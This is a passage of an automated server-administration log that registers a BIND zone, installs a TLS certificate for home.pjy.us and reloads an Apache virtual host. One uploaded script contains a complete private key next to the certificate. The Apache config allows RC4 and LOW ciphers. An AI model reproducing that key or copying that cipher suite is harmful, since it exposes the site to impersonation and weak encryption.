MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= cd9472783c780f51cad2215f6f6180ce
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-31 06:00:54: 

PUT: /tmp/pkp903334

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '4e946d31d5dbbaea14c1f8a8cc65c592'
ZONE_NAME = 'pjy.us'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2025-12-31 06:00:54: 

chmod 755 /tmp/pkp903334; /tmp/pkp903334; rm /tmp/pkp903334

2025-12-31 06:00:57: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2025-12-31 06:00:57: 

PUT: /tmp/pkp157483

#!/bin/bash
rndc reload pjy.us 2>&1


2025-12-31 06:00:57: 

chmod 755 /tmp/pkp157483; /tmp/pkp157483; rm /tmp/pkp157483

2025-12-31 06:00:57: 


zone reload up-to-date


2025-12-31 06:01:08: Establishing a connection
2025-12-31 06:01:09: 

PUT: /tmp/pkp801362

#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb

cat > $temp_file <<'endmsg'
ca:cc:16:66:a6:6d:ed:f0:9b:32:be:1e:53:7a:64:1b

-----BEGIN CERTIFICATE-----
MIIE8zCCA9ugAwIBAgISBu3OrS9ZqQDaKfEbrZu+BCzbMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjMxMDUwMjM3WhcNMjYwMzMxMDUwMjM2WjAWMRQwEgYDVQQD
Ewtob21lLnBqeS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALV1
/ME6u7fsdIVMHZNidYnJbOpnfQTGdJAXI1IqKXQBpla3QvmNFjoyVbU9tVzTAP9i
ONG5HR6MHZsX9d9pkl/r+VEkmwgoApwaJJtLgedsPZansJk/c6pr7aAoZhON5CVt
yW7emlkuhWx9T1T6uj8xzsUplGrEUqKbi5t98MryJVUgJ7kOjavOX9mDcqPyKan1
kaWbOKvILsx/fhBGzplWtCRCx+wpkH9DXGaTOf4XPZqGrwcnGP8SlHyfo0BTN2Sl
tOsiGmE/tY+vanR3Pu7jgbhLQ0NOC7nYyy5XXQadSOUlSzzU/eRMpTCv80s/KW1r
rg/EXmsJL6JguNITL9MCAwEAAaOCAhwwggIYMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUqgKoJ1sOfYO7+R4zUMdyGWPdOIUwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAWBgNVHREEDzANggtob21lLnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzkyLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB3AEmcm2neHXzs/Dbe
zYdkprhbrwqHgBnRVVL76esp3fjDAAABm3L+7E4AAAQDAEgwRgIhAKY7t1O665ti
EdRjb9FVH35yP1QnmTwknKX63B2xA4BXAiEA5veLTgGWsA8/gjT+YoC96lrsG4cN
oSMzkkXrYoXBHhAAdgCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAA
AZty/uymAAAEAwBHMEUCIQDUi0HJHTQdVt4RAg3yuKZmHjTR5G2+rlx7u4+GoElf
MwIgA+aZUrXPZ3ikWZ/XAsfvnAlKl0Nfxng17wyMXWz8rh8wDQYJKoZIhvcNAQEL
BQADggEBAL5rbZv+Gyo+4m+BLeQ6Xu632vp/6nfKpu9waRqSjg+Q0K5m4CpUo++l
h529TE/UCAubwbUoakIEmolbumXpLCXRfRJR4NpI5o3pmi08bjgnGVEtXpFVFK9P
vUfvTCCbLoA7CUgK9xczLTSFpBl4ymSR8zcIsd3h83ExNCKrLdI+3NOUlsU4oL9c
nB+VhgrVV81IjuXm1lWoC+sdzgK+0hh+igzLkC9qNuFq27eKkY89HQBqNRWSvc5B
NBc6JJdwusVY81k0BC+LyCFFbiOgyWvpEqBrjFf5GmlRIR+BrRm/KjtJBVHmk6/y
M3gbbuAL03BnCsBYk5Ig8irWL5KEWqo=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC1dfzBOru37HSF
TB2TYnWJyWzqZ30ExnSQFyNSKil0AaZWt0L5jRY6MlW1PbVc0wD/YjjRuR0ejB2b
F/XfaZJf6/lRJJsIKAKcGiSbS4HnbD2Wp7CZP3Oqa+2gKGYTjeQlbclu3ppZLoVs
fU9U+ro/Mc7FKZRqxFKim4ubffDK8iVVICe5Do2rzl/Zg3Kj8imp9ZGlmziryC7M
f34QRs6ZVrQkQsfsKZB/Q1xmkzn+Fz2ahq8HJxj/EpR8n6NAUzdkpbTrIhphP7WP
r2p0dz7u44G4S0NDTgu52MsuV10GnUjlJUs81P3kTKUwr/NLPylta64PxF5rCS+i
YLjSEy/TAgMBAAECggEAGBWtcw4zHTHWs1yLbmT6mcuw15ndx5T5oqhXiU/MSbfw
VoEjdBDsWtQUeSZUHJpq/vqP9RIfUc8iHNQ8z6bpBS9CW6lCpH3+/q4fnrcSal98
+zKNp4F6/isuEnxaNA04s1kTi9Ii5WRd1Cz7qxlOQBYBzjx7FQKyvx9rE7vPCniI
aYN4GRCphHTzmBdtlJlZ9sMDSeliRBsPHQ3iQY3TdxXTarsIeepcpmoRmabu+a48
YHXo/Hj4Zt08k/4mlTFlqUuTagCpS+cjyLiq7QBvWbs4aUjIpM1nI6e57cikjfdj
bVC67FVqgAH/d3/9V/5vFFDWuT5X3V1XkKNgqTCA2QKBgQD6zc63jcif1PjwKwBs
koKXVdcjBoWehVpu7rhKcJqj5ydn7jsx/D/JlF+vbgh2IuyUXXMLNE7B0/zdghBI
SFH93C3I101vpKDfO7k07u9dVQYyzjsDR1RutwHE/2W0/B4e+mT2DjDVgMAQD7sx
C6vqqaPFYItxfXA5znr73nzdywKBgQC5OGdy4+0innm60O4SUzb135rRa97Xe7kZ
draMthTSEbFDGccoEzwA5uUlkerZ+DzVKFlrv10LsvIt5mxB5hFMSg3sLZwIvEis
oRXfLsJsLwe6WYZ1h8DQf2/04MZauWcuXqS4VMmoLYAXEFgL9QjciJlOBoaLfidC
FRZc6xO1GQKBgQCXFRl8uz1rAwl+6/iSbuOaNIynvcsKRjzG7Kk5toGBUMMNOZaR
MupeDTJi5H7WY41uhqjBzB3RZ1lBOpOCZ4Z0zYkLHp+4LEz4jOqxt2mcKJbWTiOA
gxyaoUXAnTVwhBvE/4OIMd47Dxcj1cYm8mf6sXxFbzYxBKZxPDAbv9gqZwKBgEi5
+fylvGX8feW5xdESNaFjdEHIrk5D+VEjSNiFYjV91vF2/LkinEvqXY1b9zAxBYnY
9wuUry85y1f0gwt5D8+5wC+9VOglLhACjDj+/j5GVS15m48oh7AWadpoK9pRtE8D
wH/UYv4TJ5lmxHulch5N0IxPiaLaHQYYi5hegXV5AoGAQlioRnaVJCxiX6aERuAY
lceH/tx2A03hL3zu+qWlCEc3puDBh54P89nWXa/LDoiltlMLkk5hP6I6NkdtcOrF
GKxNqumYSco+TPSfbZS27SxG1L6oU+ZI6KImAIK0wiFoBpPqWNsEtX8uKhf+3BCN
6MKUONT7NaV6evhDZuv1n8A=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-31 06:01:10: 

chmod 755 /tmp/pkp801362; /tmp/pkp801362; rm /tmp/pkp801362

2025-12-31 06:01:10: 


dir=/etc/ssl/certs


2025-12-31 06:01:11: 

PUT: /tmp/pkp787268

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_home_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-31 06:01:11: 

chmod 755 /tmp/pkp787268; /tmp/pkp787268; rm /tmp/pkp787268

2025-12-31 06:01:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_home_us.conf 35

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-31 06:01:11: 

PUT: /tmp/pkp670053

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_home_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_home_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_home_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf= 1'
fi


2025-12-31 06:01:12: 

chmod 755 /tmp/pkp670053; /tmp/pkp670053; rm /tmp/pkp670053

2025-12-31 06:01:12: 




2025-12-31 06:01:12: 

PUT: /tmp/pkp686304

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-31 06:01:12: 

chmod 755 /tmp/pkp686304; /tmp/pkp686304; rm /tmp/pkp686304

2025-12-31 06:01:13: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-31 06:01:13: Establishing a connection
2025-12-31 06:01:14: 

PUT: /tmp/pkp469291

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-31 06:01:15: 

chmod 755 /tmp/pkp469291; /tmp/pkp469291; rm /tmp/pkp469291

2025-12-31 06:01:15: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:2)
         port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
         port 80 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:2)
*:443                  is a NameVirtualHost
         default server cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
         port 443 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
         port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:19)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
         port 443 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:18)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-31 06:01:15: 

PUT: /tmp/pkp141116

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/pjy_home_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-31 06:01:15: 

chmod 755 /tmp/pkp141116; /tmp/pkp141116; rm /tmp/pkp141116

2025-12-31 06:01:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_home_us.conf	1248

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-31 06:01:15: 

PUT: /tmp/pkp734586

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

